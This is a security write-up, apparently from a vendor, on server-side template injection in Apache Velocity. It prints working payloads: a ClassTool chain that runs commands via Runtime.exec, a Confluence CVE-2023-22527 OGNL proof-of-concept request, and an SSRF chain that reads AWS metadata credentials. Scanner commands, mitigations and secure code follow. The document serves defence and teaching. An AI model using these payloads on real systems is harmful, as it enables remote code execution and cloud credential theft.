Server-Side Template Injection in Apache Velocity (Java) via ClassTool and RuntimeSingleton to achieve remote code execution.
TL;DR
${7*7} → 49; $math.add(2,2) → 4 with MathTool; ${.now} = literal (not Freemarker)#set($rt=$Class.inspect("java.lang.Runtime").type) → $rt.getRuntime().exec("id")SecureUberspector + never evaluate user input as template sourceApache Velocity is a Java template engine used in legacy enterprise applications, Apache projects (Archiva, Continuum, Raptor), and historically in Atlassian products. The Velocity Template Language (VTL) uses ${variable} for value substitution and #set, #foreach, #if for control flow. SSTI occurs when user-controlled input is evaluated as a VTL string via velocityEngine.evaluate(context, writer, logTag, userInput) rather than being passed as a data variable to a pre-compiled template.
The primary RCE vector uses Velocity's ClassTool ($Class), a utility exposing Java class introspection. Via #set($rt = $Class.inspect("java.lang.Runtime").type), an attacker obtains a reference to java.lang.Runtime, then calls $rt.getRuntime().exec("id") to spawn a process. A second chain uses RuntimeSingleton for newer Velocity versions. Both chains require ClassTool to be in the Velocity context, which was the default in Apache Velocity Engine 2.2 (CVE-2020-13936) and in Atlassian products prior to patching.
OWASP A03:2021 and CWE-1336 apply. Velocity SSTI is the engine underlying the most actively exploited enterprise SSTI CVE of 2024-2026: CVE-2023-22527 (Atlassian Confluence, CVSS 10.0, CISA KEV January 2024), which remained under active ransomware exploitation through 2025-2026 on unpatched internet-facing Confluence instances.
The vulnerable Java code pattern:
// VULNERABLE — user input evaluated as VTL source
VelocityEngine ve = new VelocityEngine();
ve.init();
VelocityContext context = new VelocityContext();
context.put("Class", new ClassTool()); // ClassTool in context — DANGEROUS
StringWriter writer = new StringWriter();
String userTemplate = request.getParameter("template");
// Evaluates user-controlled string as Velocity template
ve.evaluate(context, writer, "logTag", userTemplate);
return writer.toString();The attacker submits:
POST /render?template=... HTTP/1.1
Host: vulnerable.example.com
template=%23set(%24rt%3D%24Class.inspect(%22java.lang.Runtime%22).type)%23set(%24ex%3D%24rt.getRuntime().exec(%22id%22))%23set(%24out%3D%24ex.getInputStream())%23set(%24reader%3D%24Class.inspect(%22java.io.InputStreamReader%22).type.getConstructor(%24out.getClass()).newInstance(%24out))%23set(%24buf%3D%24Class.inspect(%22java.io.BufferedReader%22).type.getConstructor(%24reader.getClass()).newInstance(%24reader))%24buf.readLine()Decoded payload:
#set($rt=$Class.inspect("java.lang.Runtime").type)
#set($ex=$rt.getRuntime().exec("id"))
#set($out=$ex.getInputStream())
#set($reader=$Class.inspect("java.io.InputStreamReader").type.getConstructor($out.getClass()).newInstance($out))
#set($buf=$Class.inspect("java.io.BufferedReader").type.getConstructor($reader.getClass()).newInstance($reader))
$buf.readLine()Response: uid=33(tomcat) gid=33(tomcat)
| Variant | Payload | Requirement | Impact |
|---|---|---|---|
| Detection | ${7*7} | Any Velocity | Confirm → 49 |
| MathTool confirm | $math.add(2,2) | MathTool in context | Returns 4 (Velocity-specific) |
| ClassTool RCE | #set($rt=$Class.inspect("java.lang.Runtime").type)$rt.getRuntime().exec("id") | ClassTool in context | Process execution |
| Full RCE read | ClassTool chain + InputStreamReader + BufferedReader | ClassTool | Read stdout of executed command |
| SSRF | ClassTool + java.net.URL instantiation | ClassTool | HTTP request to IMDS/internal |
| Context dump | $velocityContext or $context | Context object accessible | Variable enumeration |
| Session dump | $session | HTTP session in context | Session token / credential exfil |
| Error fingerprint | ${.now} → literal (Freemarker: datetime) | Any | Distinguishes from Freemarker |
POST /template/aui/text-inline.vm HTTP/1.1
Host: confluence.target.com
Content-Type: application/x-www-form-urlencoded
label=%2b#request.get('.KEY_velocity.struts2.context').internalGet('ognl').findValue(#parameters.poc[0],{})%2b'&poc=@org.apache.struts2.ServletActionContext@getRequest().getMethod()This is the CVE-2023-22527 proof-of-concept pattern. The label parameter is processed as OGNL within the Struts2 Velocity context, allowing arbitrary OGNL expression evaluation → Runtime.exec() → RCE without authentication. CISA KEV added 2024-01-23. Active exploitation by ransomware groups confirmed through 2025-2026.
#set($u = $Class.inspect("java.net.URL").type.getConstructor($Class.inspect("java.lang.String").type).newInstance("http://169.254.169.254/latest/meta-data/iam/security-credentials/"))
#set($x = $u.openStream())
#set($r = $Class.inspect("java.util.Scanner").type.getConstructor($Class.inspect("java.io.InputStream").type).newInstance($x).useDelimiter("\\A").next())
$rThis chain reads AWS IMDS credentials from the metadata service via Velocity's ClassTool, achieving SSRF-to-credential-theft in AWS-hosted environments.
CVE-2023-22527 — Atlassian Confluence (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, CISA KEV 2024-01-23)
The Velocity template text-inline.vm in Confluence Server and Data Center accepted a label parameter that was evaluated as OGNL within the Struts2 request context. No authentication was required. The attack chain: OGNL in label parameter → Struts2 OGNL evaluator → Runtime.exec() → RCE as the Confluence service account. Disclosed 2024-01-15; CISA KEV 2024-01-23. Over 11,000 internet-facing instances vulnerable on day of disclosure. Ransomware groups (including LockBit-affiliated actors) actively scanned and exploited within days. Patch required: Confluence 8.5.4+, 8.6.0+.
CVE-2020-13936 — Apache Velocity Engine 2.2 (CVSS 8.8)
Apache Velocity Engine 2.2 and earlier exposed ClassTool by default in the Velocity context when using DefaultRuntimeServiceLocator. This meant that any application using Velocity 2.2 with user-controlled template rendering was vulnerable to the ClassTool RCE chain. Authenticated users could achieve RCE. Fixed in Velocity 2.3 by removing ClassTool from the default context. CVE was disclosed 2021-03-09.
CVE-2020-13943 — Apache Velocity Tools 3.0 (Related)
A related ClassTool exposure in Apache Velocity Tools 3.0 (the companion library providing MathTool, ClassTool, DateTool) allowed authenticated users to leverage ClassTool for RCE via the same chain as CVE-2020-13936. Affected applications using VelocityTools with user-controlled template rendering. Fixed in Velocity Tools 3.1.
Enterprise Email Template SSTI — Legacy Velocity Pattern
Many legacy enterprise applications (CRM systems, marketing platforms, invoice generators) use Apache Velocity for email and document generation. A common vulnerable pattern: the application allows "custom email templates" with ${user.name} placeholders, but the template is passed directly to velocityEngine.evaluate(). An attacker with template editing access inserts the ClassTool chain and achieves RCE as the mail server process. This pattern predates the modern SSTI awareness wave and remains in production in applications built between 2005-2015.
CVE-2023-22527 (Confluence) remains actively exploited in 2025-2026. Confluences running versions prior to 8.5.4 on internet-facing networks are a reliable entry point for ransomware operators. Verify your version and apply patches immediately. The attack requires zero authentication and takes seconds from a public PoC.
${7*7} — response 49 confirms ${} evaluation.$math.add(2,2) — if MathTool is available, response 4 confirms Velocity specifically.${.now} — Velocity renders the literal string ${.now} (not a timestamp); Freemarker renders a timestamp. This differentiates Velocity from Freemarker.${{<%[%'"}}%\ — Velocity returns org.apache.velocity.exception.ParseErrorException, confirming the engine.$context and $Class to enumerate context objects and confirm ClassTool availability./confluence/rest/api/settings — if below 8.5.4 or 8.6.0, CVE-2023-22527 applies.# SSTImap — Velocity engine
sstimap -u "http://target.com/render?template=*" --engine Velocity
# tplmap
tplmap.py -u "http://target.com/render?template=*" --engine velocity
# Nuclei — Confluence CVE-2023-22527
nuclei -u http://confluence.example.com -t cves/2023/CVE-2023-22527.yamlBreachVex detects Velocity SSTI through complementary techniques: ${7*7} math evaluation, $math.add(2,2) MathTool confirmation, and the Korchagin polyglot for engine fingerprinting. CVE-2023-22527 has dedicated coverage in the BreachVex pipeline.
// VULNERABLE — user input evaluated as VTL
VelocityEngine ve = new VelocityEngine();
StringWriter writer = new StringWriter();
ve.evaluate(context, writer, "tag", userInput); // SSTI
// SAFE — filesystem template, user input as context variable
VelocityEngine ve = new VelocityEngine();
Properties p = new Properties();
p.setProperty("file.resource.loader.path", "/app/templates");
ve.init(p);
VelocityContext context = new VelocityContext();
context.put("displayName", sanitizedUserInput); // user input as variable
Template template = ve.getTemplate("greet.vm"); // from filesystem
template.merge(context, writer);// Velocity 2.x — SecureUberspector blocks reflection chains
Properties props = new Properties();
props.setProperty(RuntimeConstants.UBERSPECT_CLASSNAME,
"org.apache.velocity.util.introspection.SecureUberspector");
// SecureUberspector blocks:
// - Class.getClassLoader()
// - Class.forName()
// - Thread.currentThread()
// - ClassLoader.loadClass()
VelocityEngine ve = new VelocityEngine(props);
ve.init();
// Remove ClassTool from default context
VelocityContext ctx = new VelocityContext();
// Do NOT put ClassTool: ctx.put("Class", new ClassTool())
ctx.put("displayName", sanitizedInput); // only safe variables# Check Confluence version
curl -s https://confluence.example.com/rest/api/settings | jq '.version'
# Vulnerable: any version before 8.5.4 or 8.6.0
# Patch: upgrade to 8.5.4+, 8.6.0+, 8.7.2+, or 8.8.1+
# Temporary mitigation (if upgrade not immediately possible)
# Disable the text-inline.vm endpoint via firewall or reverse proxy:
# Block POST /template/aui/text-inline.vm from external networksVelocity SSTI occurs when user-controlled input is processed as a Velocity Template Language (VTL) string. The #set directive, $Class tool (via ClassTool), and $velocityContext object provide access to the Java runtime. Attackers chain these to call Runtime.getRuntime().exec() and achieve Remote Code Execution.
Velocity's ClassTool ($Class) allows inspecting Java types by name. The chain: #set($rt = $Class.inspect('java.lang.Runtime').type) gets the Runtime class; #set($ex = $rt.getRuntime().exec('id')) creates a Process; reading the process output via InputStream yields the command result. This requires $Class to be available in the Velocity context.
CVE-2023-22527: Atlassian Confluence Velocity template text-inline.vm, OGNL injection (CVSS 10.0, CISA KEV 2024-01-23). CVE-2020-13936: Apache Velocity Engine 2.2, ClassTool available by default (CVSS 8.8). CVE-2020-13943: Apache Velocity Tools 3.0, related ClassTool exposure. These Confluence CVEs are still actively exploited in 2025-2026.
The Velocity template text-inline.vm in Atlassian Confluence accepts a label parameter processed through OGNL within the Struts2 request context. An attacker sends POST /template/aui/text-inline.vm with OGNL expressions referencing the internal velocity context and parameters.poc[] to invoke Runtime.exec() via #request.get() and #parameters. No authentication required. CVSS 10.0. CISA KEV 2024-01-23. Still exploited 2025-2026.
Both use ${} for expression evaluation. Freemarker uses the ?new() builtin to instantiate Java classes; Velocity uses ClassTool or #foreach/$context iteration to access the runtime. Velocity's #set directive binds variables like a scripting language; Freemarker uses <#assign>. Detection: ${.now} returns a timestamp in Freemarker but the literal string in Velocity, providing the definitive differentiator.
Apache Velocity was widely adopted in the 2000s-2010s for Java web applications. Legacy apps using Velocity for email rendering, report generation, or page templating often pass user input (e.g., user display name, signature) into Velocity templates via VelocityContext without validation. Modern applications more commonly use Freemarker or Thymeleaf, but Velocity-based code remains in enterprise legacy systems.
NVelocity is the .NET port of Apache Velocity. It uses the same VTL syntax (#set, ${}, #foreach) and supports similar ClassTool-equivalent reflection chains. SSTI in NVelocity applications follows the same pattern: user input in template context → #set directive to bind a .NET Type → Activator.CreateInstance() for OS command execution. No specific NVelocity CVEs exist but the attack surface is identical to Java Velocity.
Submit ${.now} — Freemarker returns a datetime; Velocity renders the literal '${.now}' or an error. Submit $math.add(2,2) — Velocity with MathTool returns 4; Freemarker returns an error. The Korchagin polyglot returns org.apache.velocity.exception.ParseErrorException for Velocity specifically.
SecureUberspector is a Velocity configuration option (uberspect = SecureUberspector) that blocks access to Class.getClassLoader(), Class.forName(), Class.getClass(), Thread.currentThread(), and related reflection methods. It prevents ClassTool-based RCE chains. However, it does not prevent information disclosure via $context or $request variable access.
Never pass user input as a Velocity template string (new VelocityEngine().evaluate(context, writer, 'logTag', userInput)). Use pre-compiled templates from the filesystem: velocityEngine.getTemplate('safe.vm'). Configure SecureUberspector and remove ClassTool from the default context. Do not expose $context, $request, or $session directly in the template data model.
Via ClassTool: #set($url = $Class.inspect('java.net.URL').type.getConstructor($Class.inspect('java.lang.String').type).newInstance('http://169.254.169.254/latest/meta-data/')), then read the URL's InputStream to exfiltrate cloud metadata. This achieves SSRF-to-cloud-credential-theft in AWS-hosted Java applications running Velocity.